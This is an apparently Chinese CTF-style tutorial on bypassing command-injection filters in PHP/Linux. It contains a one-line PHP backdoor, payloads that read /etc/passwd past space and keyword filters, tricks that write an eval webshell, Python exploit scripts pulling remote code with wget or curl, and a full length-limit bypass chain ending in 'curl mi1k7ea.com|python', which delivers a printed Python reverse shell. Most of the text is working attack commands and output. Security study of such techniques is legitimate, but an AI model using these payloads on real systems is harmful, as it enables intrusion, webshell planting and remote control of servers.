这里小结下各位师傅的Bypass技巧。
测试后门代码:
1 <?php system($_GET['m' ]);?>
0x01 空格过滤Bypass 使用$IFS 1 http://m.com/shell.php?m=ls$IFS/tmp
一些特殊情况可用以下变体:
\$IFS\$9——后面加个\$与{}类似,起截断作用,\$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat\$IFS2\$9flag.php;
\${IFS}——单纯cat\$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat\${IFS2}flag.php;
使用{cmd,p1[,p2……]} 1 http://m.com/shell.php?m={cat,/etc/passwd}
使用Tab 在PHP环境下使用%09可以替换空格,
1 http://m.com/shell.php?m=cat%09/etc/passwd
使用重定向 <重定向,如:cat<flag.php
<>重定向,如:ls<>a.txt
0x02 关键字过滤Bypass 1 2 3 4 5 6 7 8 9 10 ;a=/etc;b=/passwd;cat $a $b ; ;cat$IFS /et?/pas??d; ;c\a\t /e\t\c/p\a\s\s\wd; ;ca${xx} t /et${xx} c/pas${xx} swd; ;${SHELLOPTS:3:1} at /et${SHELLOPTS:3:1} /passwd; ;c(echo a)t /et$(echo c)/pas$(echo s)wd; ;c`echo a`t /et`echo c`/pas`echo s`wd; ;ca'' t /et'' c/pass'' wd; ;ca"" t /et"" c/pass"" wd; ;ca``t /et``c/pass``wd;
0x03 连接符 可用于进行命令注入利用和替换的连接符有:&、&&、|、||、%0a、;、`、\n等。
注意前面几个符号的区别:&&号后面命令的执行是建立在前面命令已经正确执行的前提之下的;&号表明这两条命令会同时执行,顺序先后不一定;管道符(|)能正常执行,但管道符的限制是只显示后面那条命令的执行结果;另外也有两个管道符(||)的用法,但是条件是前面的命令执行失败,和&&号的相反。
0x04 长度限制绕过 长度限制<17 看个例题:
1 2 3 4 5 6 <?php $param = $_POST['param' ]; if (strlen($param) < 17 ){ eval ($param); } ?>
直接在eval里内嵌eval即可,长度刚刚好:
1 param=eval($_POST[1]);&1=echo `cat flag`
长度限制<16 在前面的基础上,将POST改为GET:
或者使用>
和>>
来构造:
如需执行 echo \<?php eval($_GET[1]);?>>1
1 2 3 4 5 echo \<?php >1 ;echo eval \(>>1 ;echo \$_GET>>1 ;echo \[1 \]>>1 ;echo \)\;?> >1 ;
长度限制<8 例题:
1 2 3 4 5 <?php if (strlen($_GET[1 ])<8 ){ echo shell_exec($_GET[1 ]); } ?>
可以利用后面说到技巧来绕过,具体原理看后面即可。
假设我们要写入<?php echo phpinfo();
,转换成Base64编码形式就是echo PD9waHAgcGhwaW5mbygpOw== | base64 -d >1.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ski12@ubuntu:/tmp/test $ >hp ski12@ubuntu:/tmp/test $ >1.p\\ ski12@ubuntu:/tmp/test $ >d\>\\ ski12@ubuntu:/tmp/test $ >\-\\ ski12@ubuntu:/tmp/test $ >e64\\ ski12@ubuntu:/tmp/test $ >bas\\ ski12@ubuntu:/tmp/test $ >=\|\\ ski12@ubuntu:/tmp/test $ >w=\\ ski12@ubuntu:/tmp/test $ >gpO\\ ski12@ubuntu:/tmp/test $ >mby\\ ski12@ubuntu:/tmp/test $ >aW5\\ ski12@ubuntu:/tmp/test $ >Ghw\\ ski12@ubuntu:/tmp/test $ >Agc\\ ski12@ubuntu:/tmp/test $ >waH\\ ski12@ubuntu:/tmp/test $ >PD9\\ ski12@ubuntu:/tmp/test $ >o\ \\ ski12@ubuntu:/tmp/test $ >ech\\ ski12@ubuntu:/tmp/test $ ls -t>0 ski12@ubuntu:/tmp/test $ sh 0
倒叙新建文件名,然后通过ls -t>0
,将刚才的顺序再倒序然后写入到0文件中,然后用sh将0当作脚本执行。
另一个exp脚本如下,原理类似:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsname=[">php\\" ,">\\ 1.\\\\" ,">\\ -O\\\\" ,">cn\\\\" ,">\\ a.\\\\" ,">wget\\\\" ] url="http://192.168.163.128/test.php" for x in name: print x param={'1' :x} a=requests.get(url,params=param) param1={'1' :'ls -t>a' } param2={'1' :'sh a' } requests.get(url,params=param1) requests.get(url,params=param2) b=requests.get("http://192.168.163.128/1.php" ) if b.status_code == 200 : print "ok!" else : print "bad!"
长度限制<=5 在上一小节的基础上,看到ls -t>0
这个命令是超过5位的长度限制的。但是我们可以把ls -t>a
拆分为几段放在一个文件中,然后再执行,具体的原理在后面讲到:
1 2 3 4 5 6 7 ski12@ubuntu:/tmp/test $ >ls\\ ski12@ubuntu:/tmp/test $ ls>a ski12@ubuntu:/tmp/test $ >\ \\ ski12@ubuntu:/tmp/test $ >-t\\ ski12@ubuntu:/tmp/test $ >\>0 ski12@ubuntu:/tmp/test $ ls>>a
看个例题:
1 2 3 4 5 6 7 8 9 10 <?php $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR' ]); @mkdir($sandbox); @chdir($sandbox); if (isset ($_GET['cmd' ]) && strlen($_GET['cmd' ]) <= 5 ) { @exec($_GET['cmd' ]); } else if (isset ($_GET['reset' ])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__ );
贴一下Orange师傅的exp脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsfrom time import sleepfrom urllib import quotepayload = [ '>ls\\' , 'ls>_' , '>\ \\' , '>-t\\' , '>\>g' , 'ls>>_' , '>on' , '>th\\' , '>py\\' , '>\|\\' , '>pw\\' , '>x.\\' , '>xx\\' , '>l.\\' , '>el\\' , '>sh\\' , '>\ \\' , '>rl\\' , '>cu\\' , 'sh _' , 'sh g' , ] for i in payload: assert len(i) <= 5 r = requests.get('http://localhost/tmp/?cmd=' + quote(i) ) print i sleep(0.2 )
长度限制<=4 参考学习了Freebuf上的这个命令注入绕过长度限制反弹shell的姿势:挖洞经验 | 命令注入突破长度限制
下面是跟着原文来操作一遍。
命令组装(*号解析文件名为命令) 依次输入如下命令,先分别创建echo和mi1k7ea两个文件,然后执行*
,此时就能看到输出hello了。这里通过>echo
和>hello
完成命令组装,然后调用*
并执行了命令echo mi1k7ea
。
注意:这里为什么拼接的顺序是echo在前mi1k7ea在后,这是因为e字母在m字母的之前而并非是先创建echo再创建mi1k7ea的缘故。
此时我们可以通过echo *
来查看这个*代表的是什么:
1 2 3 4 5 6 7 ski12@ubuntu:/tmp/test $ >echo ski12@ubuntu:/tmp/test $ >mi1k7ea ski12@ubuntu:/tmp/test $ * mi1k7ea ski12@ubuntu:/tmp/test $ echo * echo mi1k7easki12@ubuntu:/tmp/test $
但是当我们尝试用这种方法来执行ls -l
这种带参数的命令时,由于参数前的-
字符会让参数的排序总是在命令的前面,导致调用*时总是实际执行命令-l ls
进而报错:
1 2 3 4 5 6 7 ski12@ubuntu:/tmp/test $ >ls ski12@ubuntu:/tmp/test $ >-l ski12@ubuntu:/tmp/test $ * -l: command not found ski12@ubuntu:/tmp/test $ echo * -l ls ski12@ubuntu:/tmp/test $
下面应用的技巧可以实现绕过。
反转命令(rev命令) 由前面知道”-“字符在”l”字母之前,如果我们将他们反转以下,即将ls -l
命令反转过来为l- sl
,此时”l”在”s”前面,然后将其写入文件v中,最后用一个命令将文件中的字节反转就能实现绕过执行了。
这里先看到,如果我们采用如下的方式将反转的命令写入v文件中(为啥是v文件后面会说到),可以看到是文件中存在v这个字符扰乱我们的命令的:
1 2 3 4 5 6 7 8 9 10 11 12 ski12@ubuntu:/tmp/test $ >l- ski12@ubuntu:/tmp/test $ >sl ski12@ubuntu:/tmp/test $ ls l- sl ski12@ubuntu:/tmp/test $ ls>v ski12@ubuntu:/tmp/test $ ls l- sl v ski12@ubuntu:/tmp/test $ cat v l- sl v ski12@ubuntu:/tmp/test $
下面用到一个技巧,使用dir命令,即dir a b>c
只会将a b写到文件c中:
1 2 3 4 5 6 7 8 9 ski12@ubuntu:/tmp/test $ >dir ski12@ubuntu:/tmp/test $ ls dir l- sl ski12@ubuntu:/tmp/test $ *>v ski12@ubuntu:/tmp/test $ ls dir l- sl v ski12@ubuntu:/tmp/test $ cat v l- sl ski12@ubuntu:/tmp/test $
好了,已经将反转命令保存到v文件中了。
接下来就是对文件内容进行反转操作。
Linux中有个rev命令用于将文件内容以字符为单位反序输出。这里新建rev文件后,使用*v
就能匹配到当前目录下的rev和v这两个文件,就能成功执行了,这就是为什么前面说到文件要命名为v:
1 2 3 4 5 6 7 8 ski12@ubuntu:/tmp/test $ >rev ski12@ubuntu:/tmp/test $ ls dir l- rev sl v ski12@ubuntu:/tmp/test $ echo *v rev v ski12@ubuntu:/tmp/test $ *v ls -l ski12@ubuntu:/tmp/test $
现在只需要将*v
的执行结果输出到一个文件中,再执行这个文件即可成功执行ls -l
命令:
1 2 3 4 5 6 7 8 9 10 ski12@ubuntu:/tmp/test $ *v>x ski12@ubuntu:/tmp/test $ sh x total 8 -rw-rw-r-- 1 ski12 ski12 0 Feb 13 18:35 dir -rw-rw-r-- 1 ski12 ski12 0 Feb 13 18:29 l- -rw-rw-r-- 1 ski12 ski12 0 Feb 13 18:58 rev -rw-rw-r-- 1 ski12 ski12 0 Feb 13 18:29 sl -rw-rw-r-- 1 ski12 ski12 7 Feb 13 18:42 v -rw-rw-r-- 1 ski12 ski12 7 Feb 13 19:12 x ski12@ubuntu:/tmp/test $
此时可以看到,几个关键的命令的长度都不超过4。
控制顺序(ls -t命令) 如果我们想构造ls -t >g
命令,要是按前面那样反转命令的技巧来的话会得到g> t- sl
,按照字母顺序t-会在sl后面,不满足需要。此时转换一下,构造的是ls -th >g
命令,反转命令的技巧来的话会得到g> ht- sl
,此时正好满足字母顺序。
注意,ls命令的-t参数是根据时间先后来列出文件,-h参数是以人认知的方式列出内容。
通过ls -th
就能控制命令和参数的顺序了:
1 2 3 4 5 6 7 8 9 ski12@ubuntu:/tmp/test $ >-l ski12@ubuntu:/tmp/test $ >ls ski12@ubuntu:/tmp/test $ ls -l ls ski12@ubuntu:/tmp/test $ ls -t ls -l ski12@ubuntu:/tmp/test $ ls -th ls -l ski12@ubuntu:/tmp/test $
命令续行(末尾\字符) 在Linux中,如果当前输入的内容最后一个字符为\
,会在下面一行继续等待用户输入然后拼接成完整的命令再执行,比如:
1 2 3 ski12@ubuntu:/tmp/test $ l\ > s -l ls
因此,我们就可以构造一连串的拼接命令续行来绕过长度限制,如下是为了构造命令curl mi1k7ea.com|python
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ski12@ubuntu:/tmp/test $ >th\\ ski12@ubuntu:/tmp/test $ >py\\ ski12@ubuntu:/tmp/test $ >\|\\ ski12@ubuntu:/tmp/test $ >m\\ ski12@ubuntu:/tmp/test $ >co\\ ski12@ubuntu:/tmp/test $ >a.\\ ski12@ubuntu:/tmp/test $ >7e\\ ski12@ubuntu:/tmp/test $ >1k\\ ski12@ubuntu:/tmp/test $ >mi\\ ski12@ubuntu:/tmp/test $ >\ \\ ski12@ubuntu:/tmp/test $ >rl\\ ski12@ubuntu:/tmp/test $ >cu\\ ski12@ubuntu:/tmp/test $ ls -t cu\ rl\ \ mi\ 1k\ 7e\ a.\ co\ m\ |\ py\ th\ on ski12@ubuntu:/tmp/test $
注意,.
符号不能放在首位,前面必须有其他字符来拼接才能创建成功。
>py\\
这里看着是5个字符,超过了4个的限制,实际上是因为 shell环境需要输入\\
产生\
,但是php 代码exec时,只需要输入\
即可产生\
,比如exec("">py\")
即可。所以这里实际上是不超过4个字符的,为了演示直观,在shell中直接执行。
执行ls -th>g
,然后sh g
,实际执行反弹shell命令。
curl mi1k7ea.com
实际获取的内容:
1 2 3 4 5 6 import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.190.138" ,6666 )); os.dup2(s.fileno(),0 ); os.dup2(s.fileno(),1 ); os.dup2(s.fileno(),2 ); p=subprocess.call(["/bin/sh" ,"-i" ]);
最终payload链 将前面的各种技巧串连起来,就能构成绕过长度限制实现反弹shell的命令注入了。
生成包含ls -th >g
文件x:
1 2 3 4 5 6 7 8 9 10 ski12@ubuntu:/tmp/test $ >sl ski12@ubuntu:/tmp/test $ >ht- ski12@ubuntu:/tmp/test $ >g\> ski12@ubuntu:/tmp/test $ >dir ski12@ubuntu:/tmp/test $ *>v ski12@ubuntu:/tmp/test $ >rev ski12@ubuntu:/tmp/test $ *v>x ski12@ubuntu:/tmp/test $ cat x ls -th >g ski12@ubuntu:/tmp/test $
然后生成curl mi1k7ea.com|python
命令续行文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ski12@ubuntu:/tmp/test $ >\; ski12@ubuntu:/tmp/test $ >on\\ ski12@ubuntu:/tmp/test $ >th\\ ski12@ubuntu:/tmp/test $ >py\\ ski12@ubuntu:/tmp/test $ >\|\\ ski12@ubuntu:/tmp/test $ >m\\ ski12@ubuntu:/tmp/test $ >co\\ ski12@ubuntu:/tmp/test $ >a.\\ ski12@ubuntu:/tmp/test $ >7e\\ ski12@ubuntu:/tmp/test $ >1k\\ ski12@ubuntu:/tmp/test $ >mi\\ ski12@ubuntu:/tmp/test $ >\ \\ ski12@ubuntu:/tmp/test $ >rl\\ ski12@ubuntu:/tmp/test $ >cu\\ ski12@ubuntu:/tmp/test $ ls -t cu\ rl\ \ mi\ 1k\ 7e\ a.\ co\ m\ |\ py\ th\ on\ ; x rev v dir g> ht- sl ski12@ubuntu:/tmp/test $
然后执行sh x
把curl mi1k7ea.com|python
命令写入文件g:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ski12@ubuntu:/tmp/test $ sh x ski12@ubuntu:/tmp/test $ cat x ls -th >g ski12@ubuntu:/tmp/test $ cat g g cu\ rl\ \ mi\ 1k\ 7e\ a.\ co\ m\ |\ py\ th\ on\ ; x rev v dir g> ht- sl ski12@ubuntu:/tmp/test $
最后执行sh g
,即可实现反弹shell。
另:利用bash shell变量拼接 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ski12@ubuntu:/tmp/test $ a=ec ski12@ubuntu:/tmp/test $ a+=h ski12@ubuntu:/tmp/test $ a+=o ski12@ubuntu:/tmp/test $ a+=\ ski12@ubuntu:/tmp/test $ a+=h ski12@ubuntu:/tmp/test $ a+=a ski12@ubuntu:/tmp/test $ a+=c ski12@ubuntu:/tmp/test $ a+=k ski12@ubuntu:/tmp/test $ a+=e ski12@ubuntu:/tmp/test $ a+=d ski12@ubuntu:/tmp/test $ $a hacked ski12@ubuntu:/tmp/test $ echo $a echo hackedski12@ubuntu:/tmp/test $
注意,这种在另起shell的时候不适用,也就是说大多数时候是不可用的。